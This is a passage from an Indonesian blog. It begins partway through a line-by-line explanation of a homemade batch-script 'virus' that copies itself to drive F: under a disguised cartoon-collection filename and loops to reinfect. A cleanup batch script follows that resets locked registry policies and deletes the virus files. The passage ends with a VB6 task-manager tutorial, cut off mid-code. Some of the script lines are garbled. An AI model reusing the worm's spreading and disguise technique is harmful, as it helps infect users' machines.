40. ini perintah untuk menyalin file induk exploler.exe ke drive f:\ dengan nama koleksi kartun flash.exe
41. ini perintah yang merujuk langsung ke parameter perintah ceki
42. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
43. ini parameter yang membuat kumpulan perintah bernama cekf yang berisikan kumpulan perintah dari baris 45-46
44. ini perintah yang mempertanyakan keberadaan file koleksi kartun flash.exe di drive f:\. Jika tidak maka akan dilanjutkan ke parameter perintah infek3. Tapi jika file terebut sudah ada, itu berarti sudah diinfek maka akan dilanjutkan ke perintah pada baris selanjutnya.
45. ini perintah yang langsung merujuk kepada parameter perintah ceki
46. kosong (untuk mengakhiri kumpulan parameter yang sebelumnya dibuat)
47. ini parameter yang membuat kumpulan perintah bernama ceki yang berisikan kumpulan perintah dari baris 49-51.
48. ini perintah untuk mempertanyakan keberadaan file exploler.exe di drive c:\windows, kalo ga ada itu berarti file induk program ini berhasil (sudah) dihapus, maka akan dilanjutkan ke parameter perintah infek1 dengan perintah yang sama pada baris 3 dan 33.
49. ini perintah untuk mempertanyakan keberadaan file gambar lucu.exe di drive c:\, kalo ga ada maka bakal dilanjutin ke perintah infek2
50. ini perintah untuk mengetahui ada tidaknya drive f:\ kalo ada maka bakal dilanjutin ke perintah infek3, tapi kali ga ada bakal langsung menuju perintah selanjutnya
51. kosong
52. ini perintah untuk kembali lagi ke parameter perintah ceki, semcam looping lah…


Puuhhh………….. akhirnya, 80 baris yang panjang sekali ya penjelasannya (jangan dijawab iya!). Namanya juga belajar, bersusah-susah dululah,Oya buat kamu yang masih kurang mengerti penjelasan script diatas saya saranin agar kamu baca :

1. Buku “Pemrograman Virus dan SpyWare [uncensored]” karya Wardana, R, S.Hut terbitan Jasakom
2. Artikel tomPLIX yang judulnya “Membuat Virus dengan Perintah CMD” di situs jasakom.com
3. semua yang berhubunagn dengan registry

Masih pada keukeuh baca tulisan ini, kalau iya, gua kasih script pemulih nya deh sekalian, ga adil dong, masa ngasih penyakitnya doang! (iya ga?)
Script Pemulih nya sebagai berikut ;

1. @echo off
2. title Script Pemulih virus-virusan –rasta-Farian.B
3. echo on error resume next>c:\gila.vbs
4. echo Dim WshShell, f1, fso>>c:\gila.vbs
5. echo set WshShell = CreateObject("Wscript.Shell")>>c:\gila.vbs
6. echo set fso = CreateObject("Scripting.FileSystemObject")>>c:\gila.vbs
7. echo set f1 = fso.GetFile("c:\windows\exploler.exe")>>c:\gila.vbs
8. echo set f2 =fso.GetFile(“c:\windows\gila.vbs”)
9. echo f1.Attributes = "0">>c:\gila.vbs
10. echo f2.Attributes = “0”>>c:\gila.vbs
11. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "0", "REG_DWORD">>c:\gila.vbs
12. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableRegistryTools", "0", "REG_DWORD">>c:\gila.vbs
13. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrives", "0", "REG_DWORD">>c:\gila.vbs
14. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "0", "REG_DWORD">>c:\gila.vbs
15. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "0", "REG_DWORD">>c:\gila.vbs
16. echo WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\DisableTaskMgr", "0", "REG_DWORD">>c:\gila.vbs
17. echo WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe", "REG_SZ">>c:\gila.vbs
18. call c:\gila.vbs
19. pause
20. Goto del1
21. kosong
22. el1
23.

24. del %systemroot%\exploler.exe pause
25. Goto del2
26.

27. for /R c:\ %%d in (legalin ganja dong by fanatiCanz.exe) do del "%%d"
28. pause
29. Goto del3
30.

31. el3
32. del c:\"gambar lucu".exe
33. pause
34.

35. el4
36. del %systemroot%\gila.vbs
37. pause

Ga banyak yang bisa dijelasin dari script diatas, kalo lo mahamin script virus(-virusannya) lo bakalan dengan mudah mengerti script diatas. Dari baris 3 sampe 16 dibikin file gila.vbs yang akan membuat normal semua key yang disebabkan program virus(-virusan) tadi. Terus di baru 17 dieksekusi file gila.vbs dan bakalan langsung menuju perintah del 1 yang berisikan perintah untuk menghapus file induk program tadi. Kalo selesai bakalan dilanjutin ke perintah del2, yang akan menghapus file legalin ganja dong by fanatiCanz.exe di seluruh folder dan seub folder di drive c:\. Terus dilajnutin keperintah selajutnya, dan seterusnya.

Script pemulih ini bisa dibuat juga dengan menggunakan notepad lalu simpan dengan extensi .bat. Untuk merasakan khasiat dari script pemulih diatas, jalankan script pemulih tersebut lalu masuk ke dalam Task manager (kan udah dipulihin, jadi task manager udah bisa di control), di dalam menu Process mastikan proses yang namanya, exploler.exe, cmd.exe (end process), setelah semua proses yang namanya CMD.exe, legalin ganja dong by fanatiCanz.exe dan proses exploler.exe dihapus, Jalankan sekali lagi script pemulihnya sampe selesai dan terakhir restart komputernya, dijamin uang kembali, setelah semua “ritual” diatas selesai, computer yang terinfek akan kembali seperti semula. SEMaNgat BrO..
 

Cara Membuat Task Manager Dengan Visual Basic 6.0

Langsung Ke Tutor Dan Sourcenya

••Siapkan 1 Buah Form
1 Buah Module

2 Buah Class Module


Name Form "FrmProccess"
Name Module "ModMem"
Name Class Module -"clsGetIcon"
                                -"clsScanProc"


••Form 1 Components
"  • 1 Buah Timer (Interval = '1000')
   • 3 Buah Command Button (Name = 'CmdTerminate, CmdRefresh, CmdExplore')
   • 1 Buah ListView "Caranya Klik Menu Project Lalu Pilih Components Atau Ctrl+T >> Lalu Cari Microsoft Windows Common controls 6.0 (SP6) >> centang dan klik apply lalu ok"
   • Beberapa Label Untuk Memory Status

Diantaranya
- Total Physical Memory (Name =  "LabelName" Caption = "")
- Free Physical Memory (Name =  "LabelName" Caption = "")
- Used Memory  (Name =  "LabelName" Caption = "")
- Free Memory   (Name =  "LabelName" Caption = "")
- Total Page File (Name =  "LabelName" Caption = "")
- Free Page File  (Name =  "LabelName" Caption = "")
- Total Virtual Memory (Name =  "LabelName" Caption = "")
- Free Virtual Memory  (Name =  "LabelName" Caption = "")

  • Lalu Di Sisinya Sisipkan Lagi 8 Buah Label Tanpa Caption Dengan Name Label 1 sampai Label8


  • 2 Buah Check
  • Terakhir Buat Sebuah Menu 
   File (Name = "MnFile")
...Exit (Name = "MnExit")
   Action (Name = "MnAct")
...End Proccess Selected (Name = "MnTerminate)


'#######••Lalu Coding Ini Di Form••#######'



'Watch this area here--^ ...it contains all the form objects that supports events

Dim WithEvents SCANPROC As ClsScanProc
'Take note of the declaration above!!!

Private Declare Function LockWindowUpdate Lib "user32.dll" (ByVal hwndLock As Long) As Long

Dim m_sProcess  As String
Dim m_sTime     As Single
Dim FILEICON    As ClsGetIcon
'##################################################################################






Private Sub cmdrefresh_Click()
Call Check1_Click
End Sub

Private Sub Cmdterminate_Click()
PopupMenu MnAct
End Sub

Private Sub Cmdexplore_Click()
Shell "Explorer.exe " & Left(ListView1.SelectedItem.SubItems(1), _
Len(ListView1.SelectedItem.SubItems(1)) - Len(ListView1.SelectedItem)), _
vbNormalFocus
End Sub


Private Sub ListView1_MouseMove(Button As Integer, Shift As Integer, x As Single, Y As Single)
If Button = 2 Then PopupMenu mnMenu
End Sub






Private Sub MnExit_Click()
Unload Me
End Sub

Private Sub MnTerminate_Click()
If MsgBox("Yakin Untuk Membunuh Proses terpilih ini ??", vbExclamation + vbYesNoCancel + vbDefaultButton2, "Terminate Process") = vbYes Then
        If (SCANPROC.TerminateProcess(ListView1.SelectedItem.SubItems(2)) = True) Then
            Call Check1_Click
        End If
    End If
End Sub

Private Sub SCANPROC_CurrentModule(Process As String, ID As Long, Module As String, File As String)
'   Tips: You can perform checksum checks here indiviually for each file...
    Dim lsv As ListItem
   
    Set lsv = ListView1.ListItems.Add(, , Module)
   
    With lsv
        .ForeColor = RGB(0, 150, 0) ' Dark green
        .SubItems(1) = File
        .ListSubItems(1).ToolTipText = File
'        .Selected = True
'        .EnsureVisible
    End With
End Sub

Private Sub SCANPROC_CurrentProcess(Name As String, File As String, ID As Long, Modules As Long)
'   Tips: You can perform checksum checks here indiviually for each file...
    Dim p_HasImage As Boolean
   
    If (File <> "SYSTEM") Then
        On Error Resume Next
        ImageList1.ListImages(Name).Tag = ""   'Just to test if this item exists
       
        If (Err.Number <> 0) Then
            Err.Clear
            ImageList1.ListImages.Add , Name, FILEICON.Icon(File, SmallIcon)
            p_HasImage = (Err.Number = 0)
        Else
            p_HasImage = True
        End If
    End If
   
    Dim lsv As ListItem
   
    If (p_HasImage = True) Then
        Set lsv = ListView1.ListItems.Add(, "#" & Name & ID, Name, , Name)
    Else
        Set lsv = ListView1.ListItems.Add(, "#" & Name & ID, Name)
    End If
   
    With lsv
        .ForeColor = vbBlue
        .SubItems(1) = File
        .SubItems(2) = ID
        .SubItems(3) = Modules
        .ListSubItems(2).ForeColor = vbRed
        .ListSubItems(1).ToolTipText = File
'        .Selected = True
'        .EnsureVisible
    End With
   
    If (m_sProcess <> "#" & Name & ID) Then
        Modules = 0
    End If
End Sub

Private Sub SCANPROC_DoneScanning(TotalProcess As Long)
    Dim p_Elapsed As Single
    p_Elapsed = Timer - m_sTime
   
    LockWindowUpdate 0& ' Enable listview repaint
   
    'Debug.Print "Total Number of Process Detected: " & TotalProcess & vbNewLine & "Total Scan Time: " & p_Elapsed & vbNewLine
    NUMPROC = TotalProcess
End Sub

'##################################################################################

Private Sub ListView1_ItemClick(ByVal Item As MSComctlLib.ListItem)

    If (Check2.Value <> vbChecked) Then
        'PopupMenu mnEx 'If Button = 2 Then PopupMenu mnEx
        Exit Sub ' What for?
    End If
   
    Dim i As Long
    i = Item.Index
   
    If (m_sProcess = Item.Key) Then
        m_sProcess = ""
    Else
        m_sProcess = Item.Key
    End If
   
    Call Check1_Click
   
    On Error Resume Next
    ListView1.ListItems(i).Selected = True
    ListView1.SelectedItem.EnsureVisible

End Sub

Private Sub Check1_Click()
    ListView1.ListItems.Clear
   
    SCANPROC.SystemProcesses = (Check1.Value = vbChecked)
    SCANPROC.ProcessModules = (Check2.Value = vbChecked)
   
    m_sTime = Timer
   
    LockWindowUpdate ListView1.hWnd ' Prevent listview repaints
    SCANPROC.BeginScanning
End Sub

Private Sub Check2_Click()
    If (Check2.Value = vbChecked) Then
        Command2.Caption = "Refresh"
    Else
        Command2.Caption = "Refresh"
    End If
End Sub




Private Sub Form_KeyPress(KeyAscii As Integer)
    If (KeyAscii = vbKeyEscape) Then
        SCANPROC.CancelScanning
        Unload Me
    End If
End Sub

Private Sub Form_Load()
    Set SCANPROC = New ClsScanProc
    Set FILEICON = New ClsGetIcon
    Call Check1_Click
End Sub

Private Sub Form_Unload(Cancel As Integer)
    Set SCANPROC = Nothing
    Set FILEICON = Nothing
End Sub



Private Sub Timer1_Timer()
    Dim mem As MEMORYSTATUS
    GlobalMemoryStatus mem
    Dim tot, free
    ModMem.getfreemem tot, free
    Label1.Caption = Round(mem.dwTotalPhys / 1024 / 1024, 2) & " MB"
    Label2.Caption = Round(mem.dwAvailPhys / 1024 / 1024, 2) & " MB"
    Label3.Caption = Round((tot - free) / 1024 / 1024, 2) & " MB Used [" & Round(((tot - free) / tot) * 100, 2) & "%]"
    Label8.Caption = Round(free / 1024 / 1024, 2) & " MB Free [" & Round((free / tot) * 100, 2) & "%]"
    Label4.Caption = Round(mem.dwTotalPageFile / 1024 / 1024, 2)
    Label5.Caption = Round(mem.dwAvailPageFile / 1024 / 1024, 2)
    Label6.Caption = Round(mem.dwTotalVirtual / 1024 / 1024, 2)
    Label7.Caption = Round(mem.dwAvailVirtual / 1024 / 1024, 2)
End Sub




'#######••Selesai Coding Form••#######






'######Sekarang Coding Di Module (ModMem)######
Option Explicit


Public Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS)

Public Type MEMORYSTATUS
        dwLength As Long
        dwMemoryLoad As Long
        dwTotalPhys As Long
        dwAvailPhys As Long
        dwTotalPageFile As Long
        dwAvailPageFile As Long
        dwTotalVirtual As Long
        dwAvailVirtual As Long
End Type

Public Function getfreemem(ByRef Total As Variant, ByRef free As Variant)
'Returns total as totlaphysicalmem(in KB)
'Returns free as freephysicalmem(in KB)
Dim mem As MEMORYSTATUS
 GlobalMemoryStatus mem
free = mem.dwAvailPhys
Total = mem.dwTotalPhys
End Function

'######Selesai Disini  Coding ModMem######



Nah Sekarang Tinggal Sisipkan Code Berikut Di Class Module





'###### Coding ClassModule (clsGetIcon)
' Modified API Declaration
Private Declare Function lstrlen Lib "kernel32.dll" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Sub OleCreatePictureIndirect Lib "oleaut32.dll" (ByRef lpPictDesc As PictDesc, ByRef riid As Guid, ByVal fOwn As Long, ByRef lplpvObj As IPictureDisp)
Private Declare Function SHGetFileInfo Lib "shell32.dll" Alias "SHGetFileInfoA" (ByVal pszPath As String, ByVal dwFileAttributes As Long, ByRef psfi As SHFILEINFO, ByVal cbFileInfo As Long, ByVal uFlags As ESHGetFileInfoFlagConstants) As Long

' API Constants
Private Const ERRORAPI As Long = 0
Private Const MAX_PATH As Long = 260

' API Types
Private Type Guid
    Data1           As Long
    data2           As Integer
    Data3           As Integer
    Data4(0 To 7)   As Byte
End Type

Private Type PictDesc
    cbSizeofStruct  As Long
    picType         As Long
    hImage          As Long
    xExt            As Long
    yExt            As Long
End Type

Private Type SHFILEINFO
    hIcon           As Long ' : icon
    iIcon           As Long ' : icondex
    dwAttributes    As Long ' : SFGAO_ flags
    szDisplayName   As String * MAX_PATH ' : display name (or path)
    szTypeName      As String * 80 ' : type name
End Type

'User-Defined API Enum
Private Enum ESHGetFileInfoFlagConstants
    SHGFI_ATTRIBUTES = &H800        ' get file attributes
    SHGFI_DISPLAYNAME = &H200       ' get display name
    SHGFI_EXETYPE = &H2000          ' get exe type
    SHGFI_ICON = &H100              ' get icon handle and index
    SHGFI_LARGEICON = &H0           ' get file's large icon
    SHGFI_LINKOVERLAY = &H8000      ' add link overlay on the icon
    SHGFI_OPENICON = &H2            ' get file's open icon
    SHGFI_SELECTED = &H10000        ' blend icon with the system highlight color
    SHGFI_SHELLICONSIZE = &H4       ' get shell-sized icon
    SHGFI_SMALLICON = &H1           ' get file's small icon
    SHGFI_SYSICONINDEX = &H4000     ' get icon index from system image list
    SHGFI_TYPENAME = &H400          ' get file type description
    SHGFI_USEFILEATTRIBUTES = &H10  ' use dwFileAttributes parameter
End Enum

Public Enum EFileIconTypes
    LargeIcon = 0
    SmallIcon = 1
End Enum

Public Enum EFileExeTypes
    MSDosApp = 2        ' MS-DOS .EXE, .COM or .BAT file
    NonExecutable = 0   ' Nonexecutable file or an error condition
    Win32Console = 3    ' Win32 console application
    WindowsApp = 1      ' Windows application
End Enum

' Variable Declarations
Private m_bOpenState    As Boolean
Private m_bOverlay      As Boolean
Private m_bSelected     As Boolean
Private m_eIconType     As EFileIconTypes
Private m_lHandle       As Long
Private m_sFile         As String

' //-- Properties --//

Public Property Get DisplayName(Optional File) As String
'Returns the display name of the specified file.
    Dim p_Ret   As Long
    Dim p_SHFI  As SHFILEINFO
   
    If (IsMissing(File)) Then
        File = m_sFile
    End If
   
    p_Ret = SHGetFileInfo(CStr(File), 0&, p_SHFI, Len(p_SHFI), SHGFI_DISPLAYNAME)
   
    If (p_Ret <> ERRORAPI) Then
        DisplayName = p_SHFI.szDisplayName
        DisplayName = Left$(DisplayName, lstrlen(DisplayName))
    End If
End Property

Public Property Get ExeType(Optional File) As EFileExeTypes
'Returns the display name of the specified file.
    Dim p_Ret   As Long
    Dim p_SHFI  As SHFILEINFO
   
    If (IsMissing(File)) Then
        File = m_sFile
    End If
   
    p_Ret = SHGetFileInfo(CStr(File), 0&, p_SHFI, Len(p_SHFI), SHGFI_EXETYPE)
   
    If (p_Ret <> ERRORAPI) Then
        If (HiWord(p_Ret) > 0) Then ' NE 0x00004E45 or PE 0x00005045
            ExeType = WindowsApp
        Else
            Select Case LoWord(p_Ret)
                Case 23117 ' MZ 0x00004D5A
                    ExeType = MSDosApp
                Case 17744 ' PE 0x00005045
                    ExeType = Win32Console
            End Select
        End If
    End If
End Property

Public Property Get File() As String
'Returns/sets the complete file path to be used.
    File = m_sFile
End Property

Public Property Let File(Value As String)
    m_sFile = Value
End Property

Public Property Get Handle() As Long
'Returns/sets the icon handle to be used by the IconEx property.
    Handle = m_lHandle
End Property

Public Property Let Handle(Value As Long)
    m_lHandle = Value
End Property

Public Property Get IconType() As EFileIconTypes
'Returns/sets the type of icon to retrieve.
    IconType = m_eIconType
End Property

Public Property Let IconType(Value As EFileIconTypes)
    m_eIconType = Value
End Property

Public Property Get Icon(Optional File, Optional IconType) As IPictureDisp
'Returns the icon of the specified file.
    If (IsMissing(File)) Then
        File = m_sFile
    End If
   
    If (IsMissing(IconType)) Then
        IconType = m_eIconType
    End If
   
    Dim p_Flags As ESHGetFileInfoFlagConstants
    Dim p_hIcon As Long
    Dim p_Ret   As Long
    Dim p_SHFI  As SHFILEINFO
   
    If (m_eIconType = LargeIcon) Then
        p_Flags = SHGFI_ICON Or SHGFI_LARGEICON
    Else
        p_Flags = SHGFI_ICON Or SHGFI_SMALLICON
    End If
   
    If (m_bOverlay) Then
        p_Flags = p_Flags Or SHGFI_LINKOVERLAY
    End If
   
    If (m_bSelected) Then
        p_Flags = p_Flags Or SHGFI_SELECTED
    Else
        p_Flags = p_Flags And Not SHGFI_SELECTED
    End If
   
    If (m_bOpenState) Then
        p_Flags = p_Flags Or SHGFI_OPENICON
    Else
        p_Flags = p_Flags And Not SHGFI_OPENICON
    End If
   
    p_Ret = SHGetFileInfo(CStr(File), 0&, p_SHFI, Len(p_SHFI), p_Flags)
   
    If (p_Ret <> ERRORAPI) Then
        p_hIcon = p_SHFI.hIcon
       
        If (p_hIcon) Then
            Set Icon = IconEx(p_hIcon)
        End If
    End If
End Property

Public Property Get IconEx(Optional hIcon As Long) As IPictureDisp
'Returns the file's icon using the specified icon handle.
    If (hIcon = 0) Then
        hIcon = m_lHandle
       
        If (hIcon = 0) Then
            Exit Property
        End If
    End If
   
    Dim p_Picture   As IPictureDisp
    Dim p_PicDesc   As PictDesc
    Dim p_Guid      As Guid
   
    p_PicDesc.cbSizeofStruct = Len(p_PicDesc)
    p_PicDesc.picType = vbPicTypeIcon
    p_PicDesc.hImage = hIcon
   
    ' IPicture GUID {7BF80980-BF32-101A-8BBB-00AA00300CAB}
    With p_Guid
        .Data1 = &H7BF80980
        .data2 = &HBF32
        .Data3 = &H101A
        .Data4(0) = &H8B
        .Data4(1) = &HBB
        .Data4(2) = &H0
        .Data4(3) = &HAA
        .Data4(4) = &H0
        .Data4(5) = &H30
        .Data4(6) = &HC
        .Data4(7) = &HAB
    End With
    ' From vbAccelerator... (http://www.vbaccelerator.com)
   
    OleCreatePictureIndirect p_PicDesc, p_Guid, True, p_Picture
   
    Set IconEx = p_Picture
End Property

Public Property Get LinkOverlay() As Boolean
'Returns/sets a value to determine if a linkoverlay icon is displayed on the icon.
    LinkOverlay = m_bOverlay
End Property

Public Property Let LinkOverlay(Value As Boolean)
    m_bOverlay = Value
End Property

Public Property Get OpenState() As Boolean
'Returns/sets a value to determine if the icon will be in open state. (Ex. Folders)
    OpenState = m_bOpenState
End Property

Public Property Let OpenState(Value As Boolean)
    m_bOpenState = Value
End Property

Public Property Get Selected() As Boolean
'Returns/sets a value to determine if the icon is in selected state.
    Selected = m_bSelected
End Property

Public Property Let Selected(Value As Boolean)
    m_bSelected = Value
End Property

Public Property Get TypeName(Optional File) As String
'Returns the type name of the specified file.
    Dim p_Ret   As Long
    Dim p_SHFI  As SHFILEINFO
   
    If (IsMissing(File)) Then
        File = m_sFile
    End If
   
    p_Ret = SHGetFileInfo(CStr(File), 0&, p_SHFI, Len(p_SHFI), SHGFI_TYPENAME)
   
    If (p_Ret <> ERRORAPI) Then
        TypeName = p_SHFI.szTypeName
        TypeName = Left$(TypeName, lstrlen(TypeName))
    End If
End Property

' //-- Private properties --//

Private Property Get HiWord(DWord As Long) As Long
    HiWord = (DWord And &HFFFF0000) \ &H10000
End Property

Private Property Get LoWord(DWord As Long) As Long
    If (DWord And &H8000&) Then
        LoWord = DWord Or &HFFFF0000
    Else
        LoWord = DWord And &HFFFF&
    End If
End Property

' Created by Noel A. Dacara | Copyright © 2003-2005 Davao City, Philippines
'######Selesai Disini######






'######Coding (clsScanProc)######
' API Declarations
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32.dll" (ByVal dwFlags As Long, ByVal th32ProcessID As Long) As Long
Private Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Private Declare Function EnumProcessModules Lib "psapi.dll" (ByVal hProcess As Long, ByRef lphModule As Long, ByVal cb As Long, ByRef lpcbNeeded As Long) As Long
Private Declare Function FormatMessage Lib "kernel32.dll" Alias "FormatMessageA" (ByVal dwFlags As Long, ByRef lpSource As Any, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByRef Arguments As Long) As Long
Private Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long
Private Declare Function GetModuleBaseName Lib "psapi.dll" Alias "GetModuleBaseNameA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpBaseName As String, ByVal nSize As Long) As Long
Private Declare Function GetModuleFileNameEx Lib "psapi.dll" Alias "GetModuleFileNameExA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFilename As String, ByVal nSize As Long) As Long
Private Declare Function GetQueueStatus Lib "user32.dll" (ByVal fuFlags As Long) As Long
Private Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function lstrlen Lib "kernel32.dll" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, ByRef TokenHandle As Long) As Long
Private Declare Function Process32First Lib "kernel32.dll" (ByVal hSnapshot As Long, ByRef lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32.dll" (ByVal hSnapshot As Long, ByRef lppe As PROCESSENTRY32) As Long

' Modified API Declaration
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, ByRef NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, ByVal PreviousState As Long, ByVal ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LUID) As Long
Private Declare Function TerminateProcess32 Lib "kernel32.dll" Alias "TerminateProcess" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

' API Constants
Private Const ANYSIZE_ARRAY                 As Long = 1
Private Const FORMAT_MESSAGE_FROM_SYSTEM    As Long = &H1000
Private Const MAX_DESCRIPTION               As Long = 1024
Private Const MAX_MODULE_NAME32             As Long = 255
Private Const MAX_PATH                      As Long = 260
Private Const PROCESS_QUERY_INFORMATION     As Long = (&H400)
Private Const PROCESS_VM_READ               As Long = (&H10)
Private Const SE_DEBUG_NAME                 As String = "SeDebugPrivilege"
Private Const SE_PRIVILEGE_ENABLED          As Long = &H2
Private Const STANDARD_RIGHTS_REQUIRED      As Long = &HF0000
Private Const SYNCHRONIZE                   As Long = &H100000
Private Const TH32CS_SNAPPROCESS            As Long = &H2
Private Const TOKEN_ADJUST_PRIVILEGES       As Long = &H20
Private Const TOKEN_QUERY                   As Long = &H8
Private Const PROCESS_ALL_ACCESS            As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Private Const VER_PLATFORM_WIN32_NT         As Long = 2

'GetQueueStatus Flag
Private Const QS_ALLEVENTS As Long = &HBF

' API Types
Private Type LARGE_INTEGER
    lowpart     As Long
    highpart    As Long
End Type

Private Type LUID
    lowpart     As Long
    highpart    As Long
End Type

Private Type LUID_AND_ATTRIBUTES
    pLuid       As LUID
    Attributes  As Long
End Type

Private Type OSVERSIONINFO
    dwOSVersionInfoSize As Long
    dwMajorVersion      As Long
    dwMinorVersion      As Long
    dwBuildNumber       As Long
    dwPlatformId        As Long
    szCSDVersion        As String * 128 ' Maintenance string for PSS usage
End Type

Private Type PROCESSENTRY32
    dwSize              As Long
    cntUsage            As Long
    th32ProcessID       As Long
    th32DefaultHeapID   As Long
    th32ModuleID        As Long
    cntThreads          As Long
    th32ParentProcessID As Long
    pcPriClassBase      As Long
    dwFlags             As Long
    szExeFile           As String * MAX_PATH
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount              As Long
    Privileges(ANYSIZE_ARRAY)   As LUID_AND_ATTRIBUTES
End Type

' Variable Declarations
Private m_bCancel       As Boolean
Private m_bErrorOnFail  As Boolean
Private m_bOldMethod    As Boolean
Private m_bPaused       As Boolean
Private m_bProcModules  As Boolean
Private m_bScanning     As Boolean
Private m_bSystemProc   As Boolean
Private m_bTerminated   As Boolean
Private m_lNumProcess   As Long
Private m_lProcessID    As Long
Private m_lWinPlatform  As Long

' //-- Class Events --//

Public Event CurrentModule(Process As String, ID As Long, Module As String, File As String)
'Occurs everytime a process is scanned for modules.
Public Event CurrentProcess(Name As String, File As String, ID As Long, Modules As Long)
'Occurs everytime a process is scanned.
Public Event DoneScanning(TotalProcess As Long)
'Occures after scanning all processes.

#If False Then
    ' Trick to preserve casing of these variables when used in VB IDE
    Private Process, Module, File, Name, Path, ID, Modules, TotalProcess
#End If

' //-- Properties --//

Public Property Get ErrorOnFail() As Boolean
'Returns/sets whether to raise an error if process termination fails.
    ErrorOnFail = m_bErrorOnFail
End Property

Public Property Let ErrorOnFail(Value As Boolean)
    m_bErrorOnFail = Value
End Property

Public Property Get ForceOldMethod() As Boolean
'Force to use the older method of enumerating processes for newer Windows systems.
    ForceOldMethod = m_bOldMethod
End Property

Public Property Let ForceOldMethod(Value As Boolean)
    m_bOldMethod = Value
End Property

Public Property Get ProcessModules() As Boolean
'Scan for modules(dll,ocx,etc..) used by a process other than its main executable.
    ProcessModules = m_bProcModules
End Property

Public Property Let ProcessModules(Value As Boolean)
    m_bProcModules = Value
End Property

Public Property Get ProcessTerminated() As Boolean
'Returns the boolean result for a process terminated in the class event.
    ProcessTerminated = m_bTerminated
End Property

Public Property Get Scanning() As Boolean
'Returns True if class is currently on scanning state.
    Scanning = m_bScanning
End Property

Public Property Get SystemProcesses() As Boolean
'Returns/sets whether to include scanning for system processes.
    SystemProcesses = m_bSystemProc
End Property

Public Property Let SystemProcesses(Value As Boolean)
    m_bSystemProc = Value
End Property

Public Property Get TotalProcesses() As Integer
'Returns the current or the total number of processes scanned.
    TotalProcesses = m_lNumProcess
End Property

' //-- Procedures --//

Public Sub BeginScanning()
'Start scanning for running processes in the system.
    If (m_bPaused) Then
        ResumeScanning ' Resume scanning instead
        Exit Sub
    End If
   
    If (m_bScanning) Then
        Exit Sub ' avoid cascading scans
    End If
   
    m_bCancel = False
    m_lNumProcess = 0
   
    m_bScanning = True
    ScanForProcesses ' scan the system for running processes
    m_bScanning = False
   
    m_lProcessID = -1
    RaiseEvent DoneScanning(m_lNumProcess)
End Sub

Public Sub CancelScanning()
'Abort scanning for running processes.
    m_bCancel = True
    ResumeScanning ' Resume if scanning has been paused
End Sub

Public Sub PauseScanning()
'Temporarily stop scanning process.
    If (m_bScanning) Then
        m_bPaused = True
    End If
End Sub

Public Sub ResumeScanning()
'Resume paused scanning process.
    If (m_bPaused) Then
        m_bPaused = False
    End If
End Sub

Public Function TerminateProcess(Optional lProcessID As Long = -1) As Boolean
'Terminate a running process using the specified process ID.
    If (lProcessID = -1) Then
        lProcessID = m_lProcessID ' Get process ID of currently scanned process
       
        ' If process ID is not given, it will attempt to terminate the current process
        If (lProcessID = -1) Then
            Exit Function
        End If
    End If
   
    Dim p_lProcess      As Long
    Dim p_lToken        As Long
    Dim p_tPrivileges   As TOKEN_PRIVILEGES
   
    ' Windows NT/2000 requires special treatment to ensure that the
    ' calling process has enough privileges to perform the instruction.
   
    If (m_lWinPlatform = VER_PLATFORM_WIN32_NT) Then
        ' Open token of the defined process
        If (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, p_lToken) = 0) Then
            GoTo End_Function
        End If
       
        ' Get LUID used to locally represent the specified privilege name
        If (LookupPrivilegeValue("", SE_DEBUG_NAME, p_tPrivileges.Privileges(ANYSIZE_ARRAY).pLuid) = 0) Then
            GoTo End_Function
        End If
       
        p_tPrivileges.PrivilegeCount = 1
        p_tPrivileges.Privileges(ANYSIZE_ARRAY).Attributes = SE_PRIVILEGE_ENABLED
       
        ' Attempt to acquire debug privilege for the process
        If (AdjustTokenPrivileges(p_lToken, 0&, p_tPrivileges, 0&, 0&, 0&) = 0) Then
